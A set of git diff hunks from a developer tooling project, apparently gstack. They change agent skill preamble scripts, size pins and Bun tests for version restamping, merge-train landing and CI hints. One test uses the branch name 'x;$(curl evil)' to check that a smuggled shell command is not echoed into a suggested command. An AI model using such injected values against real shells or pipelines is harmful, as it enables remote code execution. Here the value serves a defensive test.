**Antigravity tool names:** `AskUserQuestion` means your `ask_question` tool (options as choices); there is no `mcp__*__AskUserQuestion` variant. The Bash tool means `run_command`, the Read tool `view_file`, the Write tool `write_to_file`, the Edit tool `replace_file_content` (`multi_replace_file_content` for several edits in one file), Grep `grep_search`, Glob `find_by_name`, and the Agent tool `invoke_subagent`. There is no Skill tool: load a skill by reading its SKILL.md with `view_file`. If a step says to call `ExitPlanMode`, tell the user the plan is ready and wait. `view_file` can return only part of a long file: when a SKILL.md or a file it tells you to read ends before its last line, read the remaining line ranges before acting on it.
+4 -3
View File
@@ -17,9 +17,10 @@ This skill follows gstack shared preamble `2af24c2d75e4` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=${CODEX_HOME:-~/.codex}/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gpt"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host codex from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gpt"
```
Read the echoed `KEY: value` STATUS lines — they drive every preamble rule
+4 -3
View File
@@ -19,9 +19,10 @@ This skill follows gstack shared preamble `99cd6cb5d373` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack;[ -d "$_r/bin" ]||_r=~/.factory/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "claude"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.factory/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.factory/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host factory from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "claude"
```
Read the echoed `KEY: value` STATUS lines — they drive every preamble rule
+1
View File
@@ -176,6 +176,7 @@
{ "file": "lib/ship-queue-train-verify.ts", "movedFrom": "(new: verify --train, the queue freeze and its backstop, plan GSTA-49 T1)" },
{ "file": "lib/ship-queue-train-ready.ts", "movedFrom": "(new: ready --screen|--no-screen and the READY receipt, plan GSTA-49 T1)" },
{ "file": "lib/ship-queue-train-cli.ts", "movedFrom": "(new: merge-train argument parsing and output, plan GSTA-49 T1)" },
{ "file": "lib/ship-queue-land-lock.ts", "movedFrom": "lib/ship-queue-land.ts (the land lock, shared with train land, #3599)" },
{ "file": "lib/gate-cost.ts", "movedFrom": "(new: paid gate cost by model and token class, per-case costs, selection replays and the merge-train model, GSTA-49 T0)" },
{ "file": "scripts/gate-cost-replay.ts", "movedFrom": "(new: CLI behind lib/gate-cost.ts: cached report artifacts, merged-PR replay and the train model table, GSTA-49 T0)" },
{ "file": "lib/gate-cost-history.ts", "movedFrom": "(new: red attribution, red-head screen replay, READY times and the READY-arrival train replay, GSTA-49 T0b)" },
+51 -51
View File
@@ -2,56 +2,56 @@
"_comment": "Generated SKILL.md files over the limit, pinned at their exact character count (#3199). test/skill-md-size-guard.test.ts fails when a pinned skill grows past its pin or shrinks below it: lower the pin when a skill shrinks and delete it once the skill is within the limit. Raising a pin is an owner decision. The shared-preamble hoist (GSTA-96) moved every tier 2+ skill's shared preamble into sections/preamble.md; the pins below are what remains.",
"limit": 100000,
"pins": {
"agy/gstack-autoplan": 109666,
"agy/gstack-plan-design-review": 109116,
"agy/gstack-plan-devex-review": 114957,
"agy/gstack-plan-eng-review": 143590,
"agy/gstack-review": 104276,
"codex/gstack-autoplan": 108409,
"codex/gstack-plan-design-review": 110473,
"codex/gstack-plan-devex-review": 116465,
"codex/gstack-plan-eng-review": 144755,
"codex/gstack-review": 103799,
"copilot/gstack-autoplan": 109109,
"copilot/gstack-plan-design-review": 109382,
"copilot/gstack-plan-devex-review": 114419,
"copilot/gstack-plan-eng-review": 143755,
"copilot/gstack-review": 103857,
"cursor/gstack-autoplan": 108341,
"cursor/gstack-plan-design-review": 107924,
"cursor/gstack-plan-devex-review": 113689,
"cursor/gstack-plan-eng-review": 142345,
"cursor/gstack-review": 122147,
"factory/gstack-autoplan": 110619,
"factory/gstack-plan-design-review": 111022,
"factory/gstack-plan-devex-review": 117052,
"factory/gstack-plan-eng-review": 145453,
"factory/gstack-review": 125920,
"gbrain/gstack-autoplan": 108748,
"gbrain/gstack-plan-eng-review": 124972,
"gemini/gstack-autoplan": 108899,
"gemini/gstack-plan-design-review": 109210,
"gemini/gstack-plan-devex-review": 114247,
"gemini/gstack-plan-eng-review": 143588,
"gemini/gstack-review": 103679,
"hermes/gstack-autoplan": 108751,
"hermes/gstack-plan-eng-review": 125008,
"kiro/gstack-autoplan": 108115,
"kiro/gstack-plan-design-review": 107770,
"kiro/gstack-plan-devex-review": 113541,
"kiro/gstack-plan-eng-review": 142207,
"kiro/gstack-review": 121971,
"openclaw/gstack-autoplan": 108571,
"openclaw/gstack-plan-eng-review": 123487,
"opencode/gstack-autoplan": 109090,
"opencode/gstack-plan-design-review": 109238,
"opencode/gstack-plan-devex-review": 114297,
"opencode/gstack-plan-eng-review": 143614,
"opencode/gstack-review": 122769,
"slate/gstack-autoplan": 108228,
"slate/gstack-plan-design-review": 107847,
"slate/gstack-plan-devex-review": 113615,
"slate/gstack-plan-eng-review": 142276,
"slate/gstack-review": 122059
"agy/gstack-autoplan": 109657,
"agy/gstack-plan-design-review": 109107,
"agy/gstack-plan-devex-review": 114948,
"agy/gstack-plan-eng-review": 143581,
"agy/gstack-review": 104267,
"codex/gstack-autoplan": 108400,
"codex/gstack-plan-design-review": 110464,
"codex/gstack-plan-devex-review": 116456,
"codex/gstack-plan-eng-review": 144746,
"codex/gstack-review": 103790,
"copilot/gstack-autoplan": 109100,
"copilot/gstack-plan-design-review": 109373,
"copilot/gstack-plan-devex-review": 114410,
"copilot/gstack-plan-eng-review": 143746,
"copilot/gstack-review": 103848,
"cursor/gstack-autoplan": 108332,
"cursor/gstack-plan-design-review": 107915,
"cursor/gstack-plan-devex-review": 113680,
"cursor/gstack-plan-eng-review": 142336,
"cursor/gstack-review": 122138,
"factory/gstack-autoplan": 110610,
"factory/gstack-plan-design-review": 111013,
"factory/gstack-plan-devex-review": 117043,
"factory/gstack-plan-eng-review": 145444,
"factory/gstack-review": 125911,
"gbrain/gstack-autoplan": 108739,
"gbrain/gstack-plan-eng-review": 124963,
"gemini/gstack-autoplan": 108890,
"gemini/gstack-plan-design-review": 109201,
"gemini/gstack-plan-devex-review": 114238,
"gemini/gstack-plan-eng-review": 143579,
"gemini/gstack-review": 103670,
"hermes/gstack-autoplan": 108742,
"hermes/gstack-plan-eng-review": 124999,
"kiro/gstack-autoplan": 108106,
"kiro/gstack-plan-design-review": 107761,
"kiro/gstack-plan-devex-review": 113532,
"kiro/gstack-plan-eng-review": 142198,
"kiro/gstack-review": 121962,
"openclaw/gstack-autoplan": 108562,
"openclaw/gstack-plan-eng-review": 123478,
"opencode/gstack-autoplan": 109081,
"opencode/gstack-plan-design-review": 109229,
"opencode/gstack-plan-devex-review": 114288,
"opencode/gstack-plan-eng-review": 143605,
"opencode/gstack-review": 122760,
"slate/gstack-autoplan": 108219,
"slate/gstack-plan-design-review": 107838,
"slate/gstack-plan-devex-review": 113606,
"slate/gstack-plan-eng-review": 142267,
"slate/gstack-review": 122050
}
}
+1 -1
View File
@@ -82,7 +82,7 @@ test('the propose step touches only the two seeds, never the allowlist, on one b
expect(script).not.toContain('free-test-seed-allowlist.json');
expect(script).toContain('branch=bot/free-duration-seeds');
expect(script).toContain('bun test test/free-seed-ratchet.test.ts');
for (const workflow of ['free-tests.yml', 'windows-free-tests.yml', 'quality-gate.yml']) {
for (const workflow of ['free-tests.yml', 'windows-smoke.yml', 'quality-gate.yml']) {
expect(script).toContain(`gh workflow run ${workflow} --repo "$GITHUB_REPOSITORY" --ref "$branch"`);
expect(load(workflow).on).toHaveProperty('workflow_dispatch');
}
+5 -3
View File
@@ -3125,9 +3125,11 @@ describe('Codex generation (--host codex)', () => {
expect(content).toContain('_r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack');
expect(content).toContain('_r=${CODEX_HOME:-~/.codex}/skills/gstack');
// Phase 1/2: config reads moved into gstack-skill-start — the fence itself
// is the bin asset the preamble must resolve through $GSTACK_BIN, and the
// question-preference runtime call still resolves the same way.
expect(content).toContain('$GSTACK_BIN/gstack-skill-start');
// is the bin asset the preamble resolves through the same roots, as plain
// lines (GST-882), and the question-preference runtime call resolves
// through $GSTACK_BIN.
expect(content).toContain('[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${CODEX_HOME:-~/.codex}/skills/gstack');
expect(content).toContain('"$GSTACK_ROOT/bin/gstack-skill-start"');
expect(content).toContain('$GSTACK_BIN/gstack-question-preference');
// The upgrade-skill doc reference moved into the script's upgrade-flow
// block, resolved $0-relative ($_ROOT_DIR) — host-neutral by construction,
+98 -3
View File
@@ -8,6 +8,7 @@
* version-source shapes (package-manifest pin, monorepo pin, absent source).
*/
import { afterEach, describe, expect, test } from 'bun:test';
import { spawnSync } from 'node:child_process';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT } from '../lib/headless-artifacts';
@@ -163,7 +164,7 @@ describe('three PRs, reordered twice, zero manual edits', () => {
expect(changed.status).toBe(EXIT.fail);
expect(changed.out).toMatch(/^TREE: changed \(pr-b\.txt\)$/m);
expect(changed.out).toMatch(/^gate-reuse: not-eligible \(tree changed: pr-b\.txt\) — fix: .* \(GATE_REUSE_NOT_ELIGIBLE\)$/m);
});
}, 30_000);
test('--dry-run prints the full diff and writes nothing; --was overrides the mention source', () => {
const repo = fixture();
@@ -191,7 +192,7 @@ describe('three PRs, reordered twice, zero manual edits', () => {
const stamped = restamp(repo, ['--next']);
expect(stamped.status).toBe(EXIT.ok);
expect(stamped.out).toMatch(/^next: NEW_VERSION=1\.2\.4\.0; record the release decision, then write the CHANGELOG entry text only/m);
});
}, 30_000);
// Value: protects=a bump never repo's --next never invents a MICRO stamp: without --bump or --version it refuses and writes nothing, and an explicit level stamps as before; fails_when=restamp falls back to micro for a repo whose policy names no level;
// why_new=GST-380 added bump never; seam=gstack-ship-policy, gstack-version-bump write; no_claim=the claim queue read
@@ -454,7 +455,7 @@ describe('gate-ahead (--after), predecessor movement and queue staleness', () =>
const viaGh = runBin(repo, 'gstack-tree-receipt', ['--from', path.join(repo.work, '.gstack/tmp/gate-ahead.json'), '--predecessor-pr', '1', '--bundle', bundle, '--base', 'main', '--json'], ghShim(repo, { '1': { headRefOid: repo.git('rev-parse', 'pr-a') } }));
expect(JSON.parse(viaGh.out).predecessor.moved).toBe(true);
expect(JSON.parse(viaGh.out).code).toBe('RESTAMP_PREDECESSOR_MOVED');
});
}, 30_000);
test('a gate-ahead merge that conflicts outside the stamp files is RESTAMP_MERGE_CONFLICT with nothing written', () => {
const repo = fixture();
@@ -587,3 +588,97 @@ describe('version-source shapes', () => {
expect(fs.existsSync(path.join(repo.work, 'VERSION'))).toBe(false);
});
});
describe('gstack-restamp stages what it writes (#3531)', () => {
/** Branch b forks from main; branch a stamps and merges first, so b's base merge conflicts only on the CHANGELOG. */
function behindMain(): FixtureRepo {
const repo = fixture();
makePr(repo, 'pr-b');
makePr(repo, 'pr-a');
expect(restamp(repo, ['--next']).status).toBe(EXIT.ok);
repo.git('add', '-A');
repo.git('commit', '-q', '-m', 'stamp pr-a');
mergeToMain(repo, 'pr-a');
repo.git('fetch', '-q', 'origin');
repo.git('checkout', '-q', 'pr-b');
return repo;
}
const cached = (repo: FixtureRepo) => repo.git('diff', '--cached', '--name-only').split('\n').filter(Boolean);
const unstaged = (repo: FixtureRepo) => repo.git('diff', '--name-only').split('\n').filter(Boolean);
const filesOf = (out: string) => (/^FILES: (.*)$/m.exec(out)?.[1] ?? '').split(' ').filter(Boolean);
test('after --next on a staged no-commit base merge, every FILES entry is staged, STAGED: names them, and a bare commit carries the stamp', () => {
const repo = behindMain();
const merge = spawnSync('git', ['merge', '--no-ff', '--no-commit', '-q', 'origin/main'], { cwd: repo.work, encoding: 'utf8', timeout: 30_000, env: { ...process.env, ...repo.env } });
if (merge.status !== 0) {
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), mergeChangelogs(repo.git('show', ':2:CHANGELOG.md') + '\n', repo.git('show', ':3:CHANGELOG.md') + '\n')!);
repo.git('add', 'CHANGELOG.md');
}
const r = restamp(repo, ['--next']);
expect(r.status, r.err).toBe(EXIT.ok);
const files = filesOf(r.out);
expect(files).toEqual(expect.arrayContaining(['VERSION', 'CHANGELOG.md']));
expect(cached(repo)).toEqual(expect.arrayContaining(files));
expect(unstaged(repo).filter(f => files.includes(f))).toEqual([]);
const staged = /^STAGED: (.*)$/m.exec(r.out)?.[1]?.split(' ') ?? [];
expect(staged).toEqual(expect.arrayContaining(files));
repo.git('commit', '-q', '--no-edit');
expect(repo.git('show', 'HEAD:VERSION')).toBe('1.2.5.0');
expect(repo.git('show', 'HEAD:CHANGELOG.md')).toMatch(/^# Changelog\n\n## \[1\.2\.5\.0\]/);
expect(fs.existsSync(path.join(repo.work, '.gstack/tmp/restamp-staging.json'))).toBe(false);
});
test('a stamp file with unstaged edits of its own refuses before writing (RESTAMP_UNSTAGED_EDITS); nothing written or staged', () => {
const repo = fixture();
makePr(repo, 'pr-c');
fs.appendFileSync(path.join(repo.work, 'CHANGELOG.md'), '\n- an edit the caller has not staged\n');
const r = restamp(repo, ['--next']);
expect(r.status).toBe(EXIT.refused);
expect(r.err).toMatch(/CHANGELOG\.md holds? unstaged edits of your own.*nothing written.*\(RESTAMP_UNSTAGED_EDITS\)/);
expect(readFile(repo, 'VERSION')).toBe('1.2.3.0\n');
expect(cached(repo)).toEqual([]);
});
test('a staging failure prints RESTAMP_NOT_STAGED with the files written and a marker; the noop rerun stages them', () => {
const repo = fixture();
makePr(repo, 'pr-d');
const lock = path.join(repo.work, '.git', 'index.lock');
fs.writeFileSync(lock, '');
const r = restamp(repo, ['--next']);
expect(r.status).toBe(EXIT.fail);
expect(r.err).toContain('(RESTAMP_NOT_STAGED)');
expect(r.out).not.toMatch(/^STAGED:/m);
expect(readFile(repo, 'VERSION')).toBe('1.2.4.0\n');
expect(cached(repo)).toEqual([]);
expect(fs.existsSync(path.join(repo.work, '.gstack/tmp/restamp-staging.json'))).toBe(true);
fs.rmSync(lock, { force: true });
const again = restamp(repo, ['--next']);
expect(again.status, again.err).toBe(EXIT.ok);
expect(again.out).toMatch(/^RESTAMP: .*\(noop;/m);
expect(cached(repo)).toEqual(expect.arrayContaining(['VERSION', 'CHANGELOG.md']));
expect(again.out).toMatch(/^STAGED: .*VERSION/m);
expect(fs.existsSync(path.join(repo.work, '.gstack/tmp/restamp-staging.json'))).toBe(false);
});
// fails_when=a staging marker left by a failure the lane then cleared by hand makes every later noop restamp exit 1 with RESTAMP_NOT_STAGED, whose fix (rerun) can never clear it (outside voice, PR #3737); why_new=the test above reruns on the same unchanged files; seam=.git/index.lock; no_claim=how the lane cleared the failure
test('a stale staging marker (its files changed since: a hand commit, then another stamped branch) is dropped by the noop rerun instead of failing it', () => {
const repo = fixture();
makePr(repo, 'pr-a');
expect(restamp(repo, ['--next']).status).toBe(EXIT.ok);
repo.git('commit', '-q', '-m', 'stamp pr-a');
makePr(repo, 'pr-d');
const lock = path.join(repo.work, '.git', 'index.lock');
fs.writeFileSync(lock, '');
expect(restamp(repo, ['--next']).err).toContain('(RESTAMP_NOT_STAGED)');
fs.rmSync(lock, { force: true });
repo.git('add', '-A');
repo.git('commit', '-q', '-m', 'stamp pr-d by hand');
repo.git('checkout', '-q', 'pr-a');
const noop = restamp(repo, ['--next']);
expect(noop.status, noop.err).toBe(EXIT.ok);
expect(noop.err).not.toContain('RESTAMP_NOT_STAGED');
expect(noop.out).toMatch(/^NOTE: .*CHANGELOG\.md.* changed since an earlier restamp wrote (it|them); not staged/m);
expect(fs.existsSync(path.join(repo.work, '.gstack/tmp/restamp-staging.json'))).toBe(false);
expect(restamp(repo, ['--next']).status).toBe(EXIT.ok);
});
});
+2 -2
View File
@@ -562,10 +562,10 @@ describe('ready on a PR that conflicts with the base (CHANGELOG-only conflicts,
const { r, at } = readyWith('CONFLICTING', { check_runs: [] });
expect(r.status).toBe(EXIT.refused);
expect(line(r.out, 'ci: ')).toBe(`ci: none at ${at} (passed=0 failed=0 pending=0 skipped=0)`);
expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-free-tests.yml --ref pr-a), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`);
expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-smoke.yml --ref pr-a), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`);
for (const name of ['x;$(curl evil)', '--field']) {
const odd = readyWith('CONFLICTING', { check_runs: [] }, { headRefName: name });
expect(line(odd.r.out, 'ci-hint: ')).toContain('gh workflow run free-tests.yml --ref <branch> && gh workflow run windows-free-tests.yml --ref <branch>');
expect(line(odd.r.out, 'ci-hint: ')).toContain('gh workflow run free-tests.yml --ref <branch> && gh workflow run windows-smoke.yml --ref <branch>');
}
const fork = readyWith('CONFLICTING', { check_runs: [] }, { isCrossRepository: true });
expect(line(fork.r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${fork.at}) and its head is on a fork, so the free workflows cannot be dispatched here; the coordinator decides (advisory)`);
+3 -2
View File
@@ -118,7 +118,8 @@ describe('gstack-skill-start contract', () => {
// Worktree-isolated Claude Code sessions refuse a start command named by a
// variable, a `[ -x ] ||` fallback, or a trailing `|| echo` (reproduced
// with the pinned CLI). The Claude render is the literal install path;
// env-var hosts reach the script through $GSTACK_BIN. A missing helper is
// checked-in env-var host renders reach it through $GSTACK_ROOT/bin (an
// install-root render names the literal path, GST-882). A missing helper is
// covered by the degraded-mode prose, not a shell fallback.
const fence = (text: string) => {
const at = text.search(/^## Preamble \((?:run first|after scope gate)\)/m);
@@ -130,7 +131,7 @@ describe('gstack-skill-start contract', () => {
}
for (const host of ['codex', 'gbrain']) {
const lines = fence(generatePreamble({ skillName: 'ship', tmplPath: 'ship/SKILL.md.tmpl', host, paths: HOST_PATHS[host], preambleTier: 4 } as TemplateContext)).split('\n');
expect(lines.at(-1)).toMatch(/^"\$GSTACK_BIN\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/);
expect(lines.at(-1)).toMatch(/^"\$GSTACK_ROOT\/bin\/gstack-skill-start" --skill "ship" --model "[^"]+"( --brain-health)?$/);
expect(lines.join('\n')).not.toMatch(/_SS|\$PPID|\|\| echo|\[ -x/);
}
});
+36 -1
View File
@@ -1,7 +1,12 @@
/** Train setups shared by the test/ship-queue-train*.test.ts files (moved from test/ship-queue-train.test.ts, GSTA-151). */
import { expect } from 'bun:test';
import { spawnSync } from 'node:child_process';
import * as fs from 'node:fs';
import * as path from 'node:path';
import { GREEN_GATE, nonceOf, openPr, queue, readyReceipt, type Rule, type TrainFixture } from './ship-queue-train-fixture';
import { mergeChangelogs } from '../../lib/changelog-check';
import { EXIT } from '../../lib/headless-artifacts';
import { runBin } from './restamp-fixture';
import { GREEN_GATE, line, nonceOf, openPr, queue, readyReceipt, type Rule, type TrainFixture } from './ship-queue-train-fixture';
export function twoPrTrain(fx: TrainFixture, gate: Rule = GREEN_GATE) {
const h1 = openPr(fx, '1');
@@ -27,3 +32,33 @@ export function publishMain(fx: TrainFixture, prefixCommit: string, version: str
repo.git('fetch', '-q', 'origin');
return repo.git('rev-parse', 'HEAD');
}
/** The lane's slot stamp on its pin (main merged in first from slot 2 on): gstack-restamp --next, then the stamp files committed and pushed as the PR head. */
export function laneStamp(fx: TrainFixture, pr: string, pin: string, o: { mergeMain?: boolean; dropStamp?: boolean } = {}): string {
const { repo } = fx;
repo.git('reset', '-q', '--hard');
repo.git('fetch', '-q', 'origin');
repo.git('checkout', '-q', '-B', `lane${pr}`, pin);
if (o.mergeMain) {
const m = spawnSync('git', ['merge', '--no-ff', '--no-commit', '-q', 'origin/main'], { cwd: repo.work, encoding: 'utf8', timeout: 30_000, env: { ...process.env, ...repo.env } });
if (m.status !== 0) {
const side = (n: number) => repo.git('show', `:${n}:CHANGELOG.md`) + '\n';
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), mergeChangelogs(side(2), side(3), side(1))!);
repo.git('add', 'CHANGELOG.md');
}
}
const index = repo.git('write-tree');
const stamp = runBin(repo, 'gstack-restamp', ['--next', '--base', 'main', '--allow-repo-commands'], fx.env);
expect(stamp.status, stamp.err).toBe(EXIT.ok);
const files = line(stamp.out, 'FILES:').slice('FILES: '.length).split(' ').filter(Boolean);
if (o.dropStamp) repo.git('read-tree', index);
else repo.git('add', '-A', '--', ...files);
repo.git('commit', '-q', '--no-edit', '-m', `slot stamp #${pr}`);
if (o.dropStamp) repo.git('checkout', '-q', '--', '.');
const head = repo.git('rev-parse', 'HEAD');
repo.git('push', '-q', '-f', 'origin', `${head}:refs/pull/${pr}/head`);
return head;
}
/** GitHub reports the PR MERGED, which verify --train needs before it confirms a merge (#3531). */
export const markMerged = (fx: TrainFixture, pr: string) => fx.write(d => { (d.prs[pr] as any).state = 'MERGED'; });
+35
View File
@@ -147,6 +147,41 @@ export function trainJson(fx: TrainFixture, nonce: string, state = fx.state): an
}
export const dispatches = (fx: TrainFixture, workflow?: string) => fx.read().log.filter(l => l.cmd === 'workflow run' && (!workflow || l.workflow === workflow));
/** For train land and land: pr view reads the head from origin's branch; pr edit and pr merge act on origin; any commit without recorded CI reads green. */
export function wrapLand(fx: TrainFixture): void {
const dir = path.join(fx.repo.root, 'gh-land-wrap');
fs.mkdirSync(dir, { recursive: true });
const shim = path.join(fx.repo.root, 'gh-train-shim', 'shim.js');
fs.writeFileSync(path.join(dir, 'gh'), [
'#!/usr/bin/env node',
"const fs=require('fs');const cp=require('child_process');const D=process.env.LAND_WRAP_DATA;const a=process.argv.slice(2);",
"const d=JSON.parse(fs.readFileSync(D,'utf8'));const save=()=>fs.writeFileSync(D,JSON.stringify(d));",
"const g=(...x)=>cp.execFileSync('git',['--git-dir',d.origin,...x],{encoding:'utf8',timeout:30000}).trim();",
"const rev=r=>{try{return g('rev-parse','--verify','--quiet',r)}catch{return ''}};",
"if(a[0]==='pr'&&a[1]==='view'&&d.prs[a[2]]){const p=d.prs[a[2]];const h=rev('refs/heads/'+p.headRefName);if(h)p.headRefOid=h;save();console.log(JSON.stringify(p));process.exit(0)}",
"if(a[0]==='pr'&&a[1]==='edit'){(d.labels=d.labels||{})[a[2]]=a[a.indexOf('--add-label')+1];save();process.exit(0)}",
"if(a[0]==='pr'&&a[1]==='merge'){const p=d.prs[a[2]];const want=a[a.indexOf('--match-head-commit')+1];if(rev('refs/heads/'+p.headRefName)!==want){console.error('Head branch was modified');process.exit(1)}",
" const before=rev('main');let tree=rev(want+'^{tree}');",
" if(d.outsideOnMerge){const blob=cp.execFileSync('git',['--git-dir',d.origin,'hash-object','-w','--stdin'],{input:'outside\\n',encoding:'utf8',timeout:30000}).trim();",
" const ls=g('ls-tree',before+'^{tree}')+'\\n100644 blob '+blob+'\\toutside.txt';const ot=cp.execFileSync('git',['--git-dir',d.origin,'mktree'],{input:ls+'\\n',encoding:'utf8',timeout:30000}).trim();",
" g('update-ref','refs/heads/main',g('commit-tree',ot,'-p',before,'-m','outside'));tree=g('merge-tree','--write-tree','--merge-base='+before,rev('main'),want).split('\\n')[0];d.outsideOnMerge=false}",
" g('update-ref','refs/heads/main',g('commit-tree',tree,'-p',rev('main'),'-m','squash #'+a[2]));p.state='MERGED';save();process.exit(0)}",
"const paged=/commits\\/([0-9a-f]+)\\/(check-runs|status)\\?.*page=(\\d+)/.exec(a[1]||'');",
"if(a[0]==='api'&&paged&&!(d.ci||{})[paged[1]]&&!((d.statuses||{})[paged[1]])){const list=paged[2]==='check-runs'?[{name:'free-tests',status:'completed',conclusion:'success',id:1,completed_at:'2026-10-26T00:00:00Z'}]:[];const key=paged[2]==='check-runs'?'check_runs':'statuses';console.log(JSON.stringify(paged[3]==='1'?{total_count:list.length,state:'success',[key]:list}:{total_count:list.length,[key]:[]}));process.exit(0)}",
`const r=cp.spawnSync('node',[${JSON.stringify(shim)},D,...a],{stdio:'inherit',timeout:120000});process.exit(r.status??1);`,
'',
].join('\n'), { mode: 0o755 });
fx.env.PATH = `${dir}:${fx.env.PATH}`;
(fx.env as Record<string, string>).LAND_WRAP_DATA = fx.dataFile;
}
/** A changelog_fragments PR: a fragment under changelog.d/, pushed as pr-<n>, with a READY receipt. */
export function fragmentPr(fx: TrainFixture, pr: string, fragment = `- #${pr} change\n`): string {
const head = openPr(fx, pr, { file: `changelog.d/pr-${pr}.md`, text: fragment, changelog: false });
fx.repo.git('push', '-q', 'origin', `${head}:refs/heads/pr-${pr}`);
readyReceipt(fx, pr, head);
return head;
}
function shimSource(): string {
return [
"const fs = require('fs'); const path = require('path'); const cp = require('child_process');",
+33 -9
View File
@@ -8,7 +8,7 @@ import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { promptHash, sectionTexts, withWorkspace } from '../lib/review-brief';
import { CHUNK_CHARS, buildManifest, chunkCount, chunkOf, markReader, renderStage, specialistFindings, type Manifest } from '../lib/review-pass';
import { CHUNK_CHARS, PARENT_ONLY_QA, buildManifest, chunkCount, chunkOf, markReader, renderStage, specialistFindings, type Manifest } from '../lib/review-pass';
import type { Dispatch } from '../lib/review-depth';
const ROOT = path.resolve(import.meta.dir, '..');
@@ -87,6 +87,13 @@ describe('pass manifest', () => {
expect(m.readers[0]).toMatchObject({ state: 'created', path: '4' });
});
// Value: protects=an unreadable extra prompt stops as a BriefError naming the reader; fails_when=a directory prompt_file throws a raw
// EISDIR from the QA guard's read (GST-450 adversarial #4); seam=none
test('a directory extra prompt stops as an unreadable prompt file, not a raw read error', () => {
const d = manifest([spec('testing')], { extras: [{ name: 'plan', prompt_file: tmp('rp-qa-') }] });
expect(() => renderStage(d, 'specialists', texts, () => '')).toThrow(/cannot read audit\/plan's prompt file/);
});
test('a brief over 1 MiB with invalid UTF-8 in its diff travels in bounded chunks that rejoin to the rendered sha', () => {
const m = manifest([{ role: 'outside-voice', name: 'outside-voice', effort: 'host', exclude: [] }]);
const diff = Buffer.concat([Buffer.from('+line \u00e9\n'.repeat(90_000)), Buffer.from([0xff, 0xfe, 0x0a]), Buffer.from('+"quoted" \\ back\n'.repeat(20_000))]).toString('utf8');
@@ -504,16 +511,33 @@ describe('Capy pass program (fake host, real bins)', () => {
const elsewhere = tmp('rp-cwd-');
const out = path.join(dir, '.state/run/p1');
fs.mkdirSync(out, { recursive: true });
fs.writeFileSync(path.join(out, 'qa.prompt.md'), 'QA brief');
fs.writeFileSync(path.join(out, 'plan.prompt.md'), 'Plan completion brief');
const h = host(elsewhere, env, { lateSummary: true });
const res = await runPass(h, { base: 'main', out, pass: 'x13p1', cwd: dir, planFlags: ['--depth-floor', 'full'],
extras: [{ name: 'qa', prompt_file: path.join(out, 'qa.prompt.md'), model: { model_id: 'anthropic/claude-haiku-5-5', reasoning_mode: 'low' } }] });
extras: [{ name: 'plan', prompt_file: path.join(out, 'plan.prompt.md'), model: { model_id: 'anthropic/claude-haiku-5-5', reasoning_mode: 'low' } }] });
expect(res).not.toContain('STOP:');
expect(res).toContain('NEXT: judge (Phase 4)');
expect(h.creates.find(c => c.title === 'ship x13p1 audit/qa')!.prompt).toBe(withWorkspace('QA brief', fs.realpathSync(dir)));
expect(h.creates.find(c => c.title === 'ship x13p1 audit/plan')!.prompt).toBe(withWorkspace('Plan completion brief', fs.realpathSync(dir)));
}, 180_000);
// Value: protects=Step 9.2.1's probes stay the parent's, as its section says, so QA coverage is never a subagent's refusal; fails_when=the
// pass program dispatches a QA extra (C4-36, C5-36: the QA reader refused both passes, "parent-only", and the parent ran the probes after it);
// why_new=extras took any prompt (GST-450); seam=the pass program; no_claim=the parent's probes themselves (DRIVER Phase 4)
